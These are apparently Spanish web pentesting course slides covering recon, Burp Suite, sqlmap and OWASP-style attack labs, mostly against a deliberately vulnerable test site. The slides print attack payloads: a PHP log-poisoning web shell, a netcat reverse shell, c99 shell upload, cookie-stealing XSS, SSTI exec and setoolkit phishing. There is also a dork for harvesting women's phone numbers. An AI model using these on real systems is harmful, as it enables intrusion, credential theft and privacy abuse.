Master Penetration Testing Web
Master Penetration Testing Web
Master Penetration Testing Web
Es un proyecto de código abierto dedicado a determinar y combatir las causas que hacen que el software
sea inseguro, La Guía OWASP es uno de los documentos más usados y adoptado documento para la de
autoevaluación de aplicaciones web, OWASP proporcione información imparcial, práctica y reusable
sobre seguridad de aplicaciones informática, se recomienda enfocar la seguridad de aplicaciones
informáticas considerando todas sus dimensiones: personas, procesos y tecnologías.
Bases Metodológicas
Common Vulnerability Scoring System (CVSS) - Es un sistema de puntuación de
vulnerabilidad común (CVSS) proporciona una forma de capturar las características principales de
una vulnerabilidad y producir una puntuación numérica que refleje su gravedad. La puntuación
numérica se puede traducir a una representación cualitativa (como baja, media, alta y crítica).
Common Weakness Enumeration (CWE) - Es una lista desarrollada por la comunidad de tipos de
debilidades de software y hardware. Sirve como un lenguaje común, una vara de medir para las
herramientas de seguridad y como una línea de base para los esfuerzos de identificación,
mitigación y prevención de debilidades.
Common Vulnerabilities and Exposures (CVE) - Es una lista de información registrada sobre
vulnerabilidades de seguridad conocidas, en la que cada referencia tiene un número de
identificación CVE-ID.
O W A S P TO P
4
C o m m o n We a k n e s s Enumeration: C W E
5
https://cwe.mitre.org/data/index.html
C W E Top 25 (2023)
6
https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html#top25list
Roadmap for Web Application
Pwned en 3,2,1 ………...
Enumeración de subdominios
Las dorks es una técnica que permite usar palabras claves para filtrar información que se requiera.
Tenemos varias fuentes de navegadores para usar las dorks, las más conocidas son “Google” y “Bing”
Las dorks es una técnica que permite usar palabras claves para filtrar información que se requiera.
Tenemos varias fuentes de navegadores para usar las dorks, las más conocidas son “Google” y “Bing”
inurl:(panel) el buscador mostrara todos los resultados tal que en su url este la palabra 'panel'
intitle:(inicio) el buscador mostrara todos los resultados tal que en su titulo de pagina este la palabra 'inicio'
intext:(contraseña) el buscador mostrara todos los resultados tal que en el texto se su pagina este la palabra 'contraseña'
filetype:(pdf) el buscador mostrara todos los resultados que sean de tipo pdf eso se puede reemplazar por php, html , jpg y cualquier otro archivo.
site:(edu.pe) el buscador mostrara todos los resultados tal que su dominio sea gob.pe, ejemplo www.uap.edu.pe
Se pueden poner mas de una palabra (esto sirve para todo los comandos) por ejemplo:
intext:(contraseña usuario) Muestra los resultados que tengan la cadena 'contraseña usuario'
intext:(contraseña & usuario) Muestra los resultados que tengan 'contraseña' y 'usuario'
intext:(contraseña | usuario) Muestra los resultados que tengan 'contraseña' o 'usuario'
Se puede quitar resultados (esto sirve para todo los comandos) por ejemplo:
intext:(contraseña usuario) -intext:(sangre) Muestra los resultados que tengan la cadena 'contraseña usuario' y que no tengan la palabra 'sangre'
Ahora solo queda en su imaginación las dorks que desean armar ! Por ejemplo
site:edu.pe intext:(usuario contraseña) filetype:php Esto mostrara los paneles de las webs de las universidades , al menos los de tipo php y que estén en
español
site:pe intext:(femenino & telefono) filetype:xls Esto mostrara los teléfonos de mujeres del Perú jajaja.
Enumeración de subdominios
https://subdomainfinder.c99.nl/scans/2022-08-31/vulnweb.com https://github.com/HernanRodriguez1/BrowserOSINT
Recursos de enumeración en subdominios
https://github.com/opsdisk/metagoofil
Reconocimiento en servicios
curl -I nc testphp.vulnweb.com 80
http://testphp.vulnweb.com/ GET HTTP/1.1
Reconocimiento HTTP
Identificar las cabeceras implementadas en el servidor, permite crear vectores de ataques
iniciales en la prueba de análisis de vulnerabilidades.
https://github.com/santoru/shcheck
https://github.com/HernanRodriguez1/SecurityHeaders/
Brechas comunes de falta de
implementación de cabeceras HTTP
Clickjacking
Session Hijacking
Cross Site Scripting Self
Strict transport security not enforced
Host Header Injection
Request smuggling HTTP
Etc….
https://owasp.org/www-project-secure-headers/
https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html
Reconocimiento web scrapping
Nos permite obtener datos de un sitio web de manera automatizada y recursiva para obtener
información relevante que podamos usar más adelante para una prueba de análisis de
vulnerabilidades, entre otras.
Regalo script web Scrapping en Python3
crawl(args.url)
Reconocimiento Web Crawling
Crawlear o rastrear una web el proceso por el cual las arañas o crawlers realizan un recorrido por las
diferentes páginas de una web, recopilando toda la información accesible, para almacenarla, procesarla y
posteriormente clasificarla.
Paso 1: Capturamos el trafico de red con burpsuite, posteriormente vamos a irnos a “target” en Site Map, elegimos la URL en este ejemplo:
testphpvulnweb.com le damos anticlip y seleccionamos la opción “Scan”
En unos segundos, empezara a encontrar carpetas y archivos que respondan de manera correcta las solicitudes. (Recordar que solo va a capturar
datos en un margen de 80% a 90%, desde ese punto se recomienda interactuar manualmente con tu el navegador y el proxy encendido)
Desde Site Map podemos ver que se han afectado de manera correcta esas
solicitudes y son mostradas en este Árbol de objetos.
Reconocimiento web content
Es importante encontrar archivos, carpetas, etc que nos permitan obtener información sensible o
acceso a recursos no autorizados que podrían ser utilices para nuestra fase.
https://github.com/epi052/feroxbuster
Reconocimiento web content
Es importante encontrar activos desde los navegadores web, usando las técnicas de las famosas dorks.
Es común encontrar carpetas no protegidas y obtener información sensible, y acceso no autorizado en
recursos administrados.
site:testphp.vulnweb.com intext:.bak"
En este proceso podemos identificar los activos tecnológicos, la topología externa, los servicios
DNS, información del proyecto en un repositorio git, etc.
Existen muchos servicios: shodan, censys,zoomeye, ipcriminal, etc.
https://dnsdumpster.com/
Reconocimiento de Código expuesto
Podemos identificar el código fuente de un proyecto que contiene toda la arquitectura, API’s,
archivos de autenticación por token, etc.
Esta recopilación podemos realizar desde repositorios como github, gitlab, etc.
Reconocimiento de librerías obsoletas
Este proceso se enfoca en encontrar versiones de componentes y librerías obsoletas,
para encontrar vulnerabilidades con un CVE especifico para realizar pruebas de
concepto en nuestra fase de explotación.
https://github.com/RetireJS/
retire.js
https://security.snyk.io/vuln/npm:jquery:20110606
Reconocimiento de servicios obsoletos
https://snyk.io/test/docker/nginx%3A1.19.0
Fuente de información CVE
https://nvd.nist.gov/
https://security.snyk.io/
https://vuldb.com/
https://www.incibe.es/
https://cve.mitre.org/cgi-bin/cvename.cgi?
name=
etc
Brute Force
Se utiliza comúnmente para describir un ataque en el que un sistema o contraseña se prueba repetidamente con todas las
combinaciones posibles hasta encontrar la correcta. Por ejemplo, en un ataque de fuerza bruta a una contraseña, un
atacante probará todas las combinaciones posibles de caracteres hasta encontrar la contraseña correcta.
Paso1: Activamos el proxy de la Url y el proxy del BurpSuite y le Paso2: Subrayamos los parámetros login y password, posteriormente
damos click derecho y nos vamos a donde dice “Send To Intruder”. le damos en Add.
Brute Force
Paso3: identificamos que nos sale color verde y con parámetros(cambiamos Paso4: Vamos a payloads y en “payload set 1” seleccionamos los
el "attack type" a Cluster bomb") usuarios que queremos.
Brute Force
Paso5: Nos dirigimos a "payloads set 2" y ponemos las Paso6: Le damos en Start Attack.
contraseñas requeridas.
Clickjacking
El clickjacking es una técnica maliciosa para engañar a usuarios de Internet con el fin de que revelen información confidencial o
tomar control de su ordenador cuando hacen clic en páginas web aparentemente inocentes.
Paso 1: Identificar la Host que sera explotado en este caso seria Paso 2: Creamos un etiqueta iframe en HTML
"frameable response (potential Clickjacking)"
Clickjacking
Falta de implementación TLS / Main in the middle
Main in the middle o hombre en el medio es un ataque en la cual nosotros estaremos en el medio entre los
ordenadores y el rooter capturando el trafico de datos con una metodología que pasare a explicar sin tecnicismo en
una imagen
Los ataques de encabezado de host HTTP explotan sitios web vulnerables que manejan el valor del
encabezado de host de una manera insegura, si el servidor confía implícitamente en el encabezado del
Host y no lo valida ni lo escapa correctamente, un atacante puede usar esta entrada para inyectar
cargas útiles dañinas que manipulan el comportamiento del lado del servidor.
Paso1: Se envía una solicitud HTTP con Paso2: Se comprueba en el código HTML la evidencia
formato incorrecto con la intención de envenenar el del dominio de la pagina web maliciosa
caché para asociar la página web con otra página web
maliciosa.
BYPASS 2FA/OTP
Un factor de autenticación 2FA/OTP permite al usuario proteger su cuenta ante un intento de ataques de filtración
de credenciales y prevenir fraude, un atacante puede evadir este control de seguridad y poder interactuar con los
datos del cliente, para fraudes financieros.
El servidor no evita adecuadamente el acceso a la información personal privada de una persona por parte de actores que (1) no están
explícitamente autorizados para acceder a la información o no tienen el consentimiento implícito de la persona sobre la que se recopila
la información, los fallos con frecuencia comprometen datos que deberían estar protegidos. Típicamente, esta información incluye
Información Personal Sensible (PII) como registros de salud, datos personales, credenciales y tarjetas de crédito, que a menudo
requieren mayor protección, según lo definido por las leyes o reglamentos las leyes locales de privacidad.
Inadecuado control lógico de negocio" se refiere a situaciones en las que una aplicación o sistema no implementa de manera efectiva las
reglas de negocio y la lógica operativa necesaria para garantizar la seguridad y la integridad de los datos. Esta vulnerabilidad puede surgir
cuando las validaciones y restricciones de negocio no se aplican adecuadamente, lo que permite que ciertas operaciones no autorizadas o
inesperadas se lleven a cabo.
Es un metodo de ataque que permite a un actor malicioso enumerar, y obtener registros de los datos almacenados en un motor de base de
datos, este ataque puede escalar muchos otros escenarios, dependiendo el nivel de permisos de la aplicación y del usuario del motor de base
de datos, extracción de data, hasta ejecución de código remoto.
En este escenario, podemos identificar una inyección SQL basado en error (SQLi Error Based)
Para nosotros identificar si existe ese tipo de respuestas podemos añadir en el valor los siguientes signos:
*
-
'
')
`))
``
;
//
' AND id IS NULL; -
/*…*/
-x()
[1]
/!1111'/
+
1 or 1
En este ejemplo solo añadimos una comilla en el valor del parámetro GET Una vez identificado la vulnerabilidad, podemos hacer pruebas manuales o
utilizar herramientas que nos permiten hacer ataques automatizados. La
herramienta por excelencia es SQLMAP.
Paso 1: Enumerar las bases de datos
sqlmap -u 'http://testphp.vulnweb.com/listproducts.php?artist=1' --dbs
SQLi Injection Method GET
Paso 3: Enumerar las columnas que se encuentren en la tabla artists
Paso 2: se encontró 2 bases de datos:
sqlmap -u 'http://testphp.vulnweb.com/listproducts.php?artist=1' -D acuart --tables sqlmap -u 'http://testphp.vulnweb.com/listproducts.php?artist=1' -D acuart -T
artists --columns
Inyección SQL es un método de infiltración de código intruso que se vale de una
vulnerabilidad informática presente en una aplicación en el nivel de validación de las
entradas para realizar operaciones sobre una base de datos.
Capturamos la solicitud.
Editamos el uname en este caso seria duglas´ or 1=1-- - y le damos en
“Forward”.
https://raw.githubusercontent.com/payloadbox/sql-injection-payload-list/master/Intruder/exploit/
Auth_Bypass.txt
Unrestricted File Upload
Esta vulnerabilidad se produce cuando en una aplicación web de ficheros no restringe el tamaño o el tipo de fichero en un formulario de subida de
archivos.
Descargamos El "c99.php" y lo renombramos el nombre del archivo c99shell.php
Es un tipo de vulnerabilidad informática muy común en las aplicaciones web que se refleja en el navegador del usuario pero sí
requiere una interacción con el usuario, generalmente los atacantes pueden usar este tipo de ataques enviándole directamente al
usuario el payload y que este se ejecute con los propósitos que quiera el atacante.
Ejemplo:
<img src="x"
onerror="alert(1)">du
XSS Almacenado – Steal Cookie
Es un tipo de vulnerabilidad informática muy común en las aplicaciones web que permite a los atacantes colocar secuencias de comandos
maliciosas en páginas web de manera persistente y, a su vez, instalan malware en los navegadores web de los usuario.
Cuando un usuario registrado, ingrese a ese modulo vulnerable tendremos su cookie de sesión en nuestro servidor malicioso
Payloads XSS Bypass WAF CloudFlare
En este escenario con protección WAF, es recomendable crear tus propios payloads para evadir los controles de detección.
Los encoders más utilizados para evadir un WAF son Encode_url, charencode, appendnullbyte, chardoubleencode,
space2morecomment, etc y el reemplazo de caracteres por palabras encodeadas o caracteres especiales interpretados por el
servidor.
El envenenamiento de registros es una técnica que permite al atacante alterar el contenido del archivo de registro,
como insertar código malicioso en los log del servidor.
Paso1: Inyectamos el Payload en la ruta log del servicio afectado <?php system($GET['cmd']) ?> HTTP/1.1
Nginx:
http://192.168.69.26/thankyou.php?file=/var/log/nginx/error.log&cmd=id
Apache:
http://www.website.com/view.php?page=../../../../../var/log/apache2/access.log&cmd=id
Reverse shell:
http://192.168.69.26/thankyou.php?file=/var/log/nginx/error.log&cmd=nc%20192.168.49.69%20443%20-e%20/bin/bash
Missing Functional Level Access Control
La vulnerabilidad de seguridad de autorización de nivel de función faltante ocurre cuando hay controles de autorización insuficientes para
manejadores de solicitudes sensibles, en este contexto se puede encontrar registros en parámetros para obtener funciones no autorizadas para
agregar, eliminar o editar valores.
Elegimos cualquier numero en el parámetro item y en la parte de arriba donde dice view lo cambiamos
por “Delete” o "remove". (puedes utilizar wffuf o fuff para encontrar para parámetros o registros)
Es un tipo de vulnerabilidad de seguridad que ocurre cuando un atacante puede inyectar comandos arbitrarios en un sistema a través de una
aplicación vulnerable.
Es un tipo de vulnerabilidad de seguridad que ocurre cuando un atacante puede inyectar comandos arbitrarios en un sistema a través de una
aplicación vulnerable, debido a las capacidades de serialización del lenguaje. PHP permite que los objetos sean serializados en cadenas y luego
deserializados de vuelta en objetos.
Es un tipo de vulnerabilidad de seguridad que ocurre cuando un parámetro permite redireccionar una URL a otro sitio web elegido por quien ha
construido el enlace.
Se identifico que ese parametro R permite redireccionar a cualquier pagina ejemplo:
https://testphp.vulnweb.com/redir.php?r=https://www.facebook.com/
?url= ?redirect=
?target= /redirect/
?rurl= /cgi-bin/
redirect.cgi?
?view=
/out/
/login?to=
/out?
?image_url= ?go=
?dest= ?return=
?destination= ?returnTo=
?redir= ?return_to=
?redirect_uri= ?checkoutUrl=
?redirect_url= ?checkout_url=
?redirectUri= ?continue=
?redirectUrl= ?return_path=
?returnPath=
Open Redirect
En esta prueba de concepto se va a explotar Open Redirect + Phishing para capturar contraseñas y engañar a los usuarios por medio de esta
vulnerabilidad.
Paso 1:ejecutando el programa Paso 2: luego le damos enter y seleccionamos el menu en este caso seria
"setoolkit “1”
Open Redirect
Paso 5: Después seleccionamos el menú opción Paso 6:Añadimos nuestra ip local(GNU/LINUX) y Ponemos la URL
2
Open Redirect
Paso 6: En primer instancia debemos crear una cuenta en https://dashboard.ngrok.com/signup Una vez creado debemos
instalar en “ngrok" en tu sistema operativo
Instalación:
sudo curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null && echo "deb https://ngrok-
agent.s3.amazonaws.com buster main" | sudo tee /etc/apt/sources.list.d/ngrok.list && sudo apt update && sudo apt install ngrok
Como parte final debemos añadir mi API de usuario para utilizar este servicio.
ngrok config add-authtoken 212jhg321hj312jhg_6N61ytP8oEHGgRUCvSVi9
Es una vulnerabilidad de seguridad web que permite a un atacante inducir a la aplicación del lado del servidor a realizar solicitudes a una ubicación no
deseada, Al proporcionar URL a hosts o puertos inesperados, los atacantes pueden hacer que parezca que el El servidor está enviando la solicitud,
posiblemente eludiendo los controles de acceso, como los firewalls que evitar que los atacantes accedan a las URL directamente. El servidor se puede
utilizar como proxy para realizar escaneo de puertos de hosts en redes internas, use otras URL como que puede acceder a documentos en el sistema
(usando file://), o usar otros protocolos como gopher:// o tftp://, que pueden proporcionar un mayor control sobre el contenido de las solicitudes
https://github.com/HernanRodriguez1/SSRF_payloads file:///etc/passwd
Server Side Template Injection (SSTI)
Es una vulnerabilidad que aprovecha una implementación insegura de un motor de plantillas (template engine). Los motores de plantilla son empleado
por las aplicaciones web para la presentación de datos dinámicos, la sintaxis en la entrada del usuario y utilizará los mensajes de error resultantes
para detectar el motor de plantilla. Si la entrada está concatenada con una variable del lado del servidor y lo representa en la plantilla, entonces es una
indicación de que la plantilla es vulnerable.
{{_self.env.registerUndefinedFilterCallback("exec")}}{_self.env.getFilter("whoami")}}
Cross Site Request Forgery (CSRF)
Es una vulnerabilidad de seguridad web que permite a un atacante inducir a la aplicación del lado del servidor a realizar solicitudes a una ubicación no
deseada, a un usuario final a ejecutar acciones no deseadas en una aplicación web en la que está autenticado actualmente. Con un poco de ayuda de
ingeniería social (como enviar un enlace por correo electrónico o chat), un atacante puede engañar a los usuarios de una aplicación web para que
ejecuten las acciones que el atacante elija. Si la víctima es un usuario normal, un ataque CSRF exitoso puede obligar al usuario a realizar solicitudes de
cambio de estado, como transferir fondos, cambiar su dirección de correo electrónico, etc. Si la víctima es una cuenta administrativa, CSRF puede
comprometer toda la aplicación web.
Paso1: Activamos el proxy de nuestro burp suite. Paso2: Le click derecho y le damos en “Engagement tools” y nos vamos
donde dice “Generate CSRF Poc”.
Cross Site Request Forgery (CSRF)
Usar herramientas automatizas, tiene sus pro y contras, ahorra tiempo y esfuerzo pero solo
cumple un 80% satisfacción, si el servidor tiene una protección WAF, el escáner sera ineficiente a
menos que hagan una excepción por IP desde la maquina donde se realizara el análisis.
https://github.com/projectdiscovery/nuclei
Recursos de análisis de vulnerabilidades
Nuclei es una herramienta potente que nos permita crear templates para vulnerabilidades que
tengamos en marcha identificar.
https://github.com/projectdiscovery/fuzzing-templates
https://github.com/HernanRodriguez1/ScanReflectedSSTI
https://github.com/HernanRodriguez1/ScanMySQLiErrorBased-Nuclei
https://github.com/HernanRodriguez1/ScanReflectedXSS
Modo auditoria Burp Suite Professional
Audit es un modulo nativo de Burp Suite Professional, que nos permite realizar un análisis de vulnerabilidades con las firmas de detección por defecto y
plugins que instalemos en el Burpsuite. Podemos encontrar vulnerabilidades desde las distintas severidades “Criticas, Altas, Medias, Bajas y Informativas”
(Tener en cuenta que burpsuite tiene muchos falsos positivos, y se recomienda realizar una prueba de concepto, filtrar los módulos que se harán las
auditorias y las extensiones)
Paso 1: Capturamos el trafico de red con burpsuite, posteriormente vamos a Paso 2: Elegimos la opción “Audit Selected Items” y le damos
irnos a “target” en Site Map, elegimos la URL en este ejemplo: “Consolidate Items"
testphpvulnweb.com le damos anticlick y seleccionamos la opción “Scan
Modo auditoria Burp Suite Professional
Paso 3: Filtramos valores duplicados, items que no tengan parámetros y Paso 4: Una vez afinado tus items correctamente, le damos
removemos extensiones basura como “Gif,png, css, etc” que no sirven para “Ok”
el escaneo, le damos next.
Modo auditoria Burp Suite Professional
Paso 5: Posteriormente nos saldrá la primer ventana, pero con los valores Paso 6: Desde ese punto el escaner estará ejecutando en segundo plano y nos
que nosotros definimos. mostrara las vulnerabilidades que va encontrando.
Modo auditoria Burp Suite Professional
Ingresamos a la vulnerabilidad XSS en el parametro GET artist y le damos la opción
“Show Response in browser” que permite visualizar desde tu navegador proxy si la
vulnerabilidad es explotable.
Modo auditoria Burp Suite Professional
Existen herramientas de
pago, que deben ser
consideradas por su
efectividad
Consejo análisis de vulnerabilidades
Papers:
https://www.linkedin.com/in/hernanrodriguez-/recent-activity/
documents/
https://github.com/infosecAK/defenselessV1 https://github.com/satishpatnayak/AndroGoat
https://github.com/s4n7h0/xvwa https://github.com/rewanthtammana/Damn-Vulnerable-Bank
https://github.com/anil-yelken/Vulnerable-Soap-Service https://github.com/WaTF-Team/WaTF-Bank
https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application https://github.com/t0thkr1s/allsafe
https://github.com/appsecco/dvna https://github.com/dineshshetty/Android-InsecureBankv2
https://github.com/snoopysecurity/dvws-node https://github.com/tjunxiang92/Android-Vulnerabilities
https://github.com/appsecco/dvja https://github.com/jaiswalakshansh/Vuldroid
https://github.com/WebGoat/WebGoat https://github.com/oversecured/ovaa
https://github.com/juice-shop/juice-shop https://code.google.com/archive/p/dvaa/
https://github.com/appelsiini/vulnerable-laravel-app
https://github.com/appsecco/dvcsharp-api
https://github.com/srini0x00/dvta
https://github.com/OWASP/DVSA
https://github.com/cider-security-research/cicd-goat
https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v3.0.0
https://github.com/ine-labs/AzureGoat
https://github.com/ine-labs/AWSGoat
Arsenal Plugins Firefox
https://addons.mozilla.org/es/firefox/addon/foxyproxy-standard/
https://addons.mozilla.org/es/firefox/addon/hacktools/
https://addons.mozilla.org/es/firefox/addon/wappalyzer/
https://addons.mozilla.org/es/firefox/addon/http-header-live/
https://addons.mozilla.org/es/firefox/addon/retire-js/
https://addons.mozilla.org/en-US/firefox/addon/uaswitcher/
https://addons.mozilla.org/es/firefox/addon/hackbar-free/
https://addons.mozilla.org/es/firefox/addon/temp-mail/
https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum/
https://addons.mozilla.org/en-US/firefox/addon/cookie-editor/
https://addons.mozilla.org/es/firefox/addon/check-xss/
https://addons.mozilla.org/es/firefox/addon/pwnfox/
https://addons.mozilla.org/es/firefox/addon/shodan-addon/
Blogs que debes entrar !
https://book.hacktricks.xyz/welcome/readme
https://www.hackingarticles.in/
https://www.ired.team/
https://hadess.io/blog/
https://redteam.guide/docs/guides/
https://pentestlab.blog/
https://portswigger.net/web-security
!! Thanks !!!